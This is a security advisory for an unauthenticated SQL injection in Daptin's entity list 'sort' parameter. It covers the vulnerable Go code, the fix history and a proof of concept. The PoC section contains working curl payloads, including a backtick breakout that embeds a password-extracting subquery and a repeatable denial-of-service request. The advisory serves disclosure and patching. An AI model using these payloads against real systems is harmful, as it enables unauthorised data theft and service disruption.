# GHSA-HQ2P-F2VJ-V3CM: Daptin: Unauthenticated SQL Injection via the sort query parameter on every entity list endpoint

- Database: GitHub
- Severity: CVSS 9.4 (Critical)
- Published: 2026-11-20
- Modified: 2026-11-20

## Tracked as

- [CVE-2026-77367](https://cve.now/CVE-2026-77367.md): Daptin unauthenticated SQL injection in list sort parameter

## Affected versions

- github.com/daptin/daptin (Go): fixed in 0.12.30

## Description

### Summary

An unauthenticated attacker can inject arbitrary SQL through the `sort` query parameter accepted by
Daptin's generic entity list endpoint (`GET /api/<entity>`), which every table in a Daptin instance
exposes. The parameter is concatenated into raw SQL identifiers with no validation that the
referenced column exists, unlike a sibling code path in the same file that received exactly this
validation as the fix for a previously published advisory
([GHSA-rw2c-8rfq-gwfv](https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv)).
Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to
blind/error-based extraction of data from tables the requester has no permission to read.

### Details

`PaginatedFindAllWithoutFilters` in `server/resource/resource_findallpaginated.go` reads the `sort`
query parameter directly from the request with no validation:

```go
// server/resource/resource_findallpaginated.go:300-302
var sortOrder []string
if len(req.QueryParams["sort"]) > 0 {
    sortOrder = req.QueryParams["sort"]
```

Each entry is then concatenated with the table name and passed to `goqu.I()` (goqu's raw SQL
*identifier* constructor) in two separate places, with no check that the referenced column exists
on the table:

```go
// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)
for _, sort := range sortOrder {
    ...
    if strings.Index(sort, "(") == -1 {
        sort = prefix + sort
    }
    idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", "_")))
}
```

```go
// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)
for _, so := range sortOrder {
    ...
    orders = append(orders, goqu.I(ord).Asc())
}
```

`goqu.I()` renders its argument by wrapping it in the dialect's quote character (a backtick, in
this build's configured dialect) **without escaping an embedded quote character of the same kind**.
A backtick supplied in `sort` closes the identifier early, and the remainder of the attacker string
is parsed as raw SQL grammar rather than treated as inert column-name text.

This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated `goqu.L()` calls
in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines
later in the same file, in the fuzzy-search code path:

```go
// server/resource/resource_findallpaginated.go:1491-1505
// Validate each column against table schema (prevents SQL injection via goqu.L)
tableInfo := dbResource.tableInfo
var validColumns []string
for _, col := range columns {
    if _, ok := tableInfo.GetColumnByName(col); ok {
        validColumns = append(validColumns, col)
    } else {
        log.Warnf(...)
    }
}
```

The identical validation was never applied to the base `sort` parameter handling earlier in the
same file. Unlike fuzzy search (which requires an explicit `filter` operator to reach), plain `sort`
is processed on every list request to every entity, authenticated or not.

### PoC

Build current HEAD and run it with a fresh SQLite database and no custom schema:

```bash
go build -buildvcs=false -o daptin_bin .
./daptin_bin
```

No account needs to exist. `world` (and most default tables) are guest-readable, so all requests
below are sent with **no `Authorization` header at all**:

```bash
# 1) Reflection -- proves raw, unsanitized concatenation
curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'
# => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}

# Server log shows the exact constructed query:
# SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --`
#   FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10]

# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text
curl -s -G "http://localhost:6336/api/user_account" \
    --data-urlencode 'sort=id`,(select password from user_account limit 1)'
# => {"errors":[{"status":"500","title":"near \"``\": syntax error"}]}

# 3) Zero credentials, reliable across repeated attempts
for i in 1 2 3; do
  curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \
      --data-urlencode 'sort=`x'
done
# => 500 / 500 / 500
```

## References

- https://github.com/daptin/daptin/security/advisories/GHSA-hq2p-f2vj-v3cm
- https://nvd.nist.gov/vuln/detail/CVE-2026-77367
- https://github.com/daptin/daptin/commit/b0bcc1318832b9055781f032853ef9d2264652cf
- https://github.com/daptin/daptin
- https://github.com/daptin/daptin/releases/tag/v0.12.30

Page: https://cve.now/GHSA-HQ2P-F2VJ-V3CM
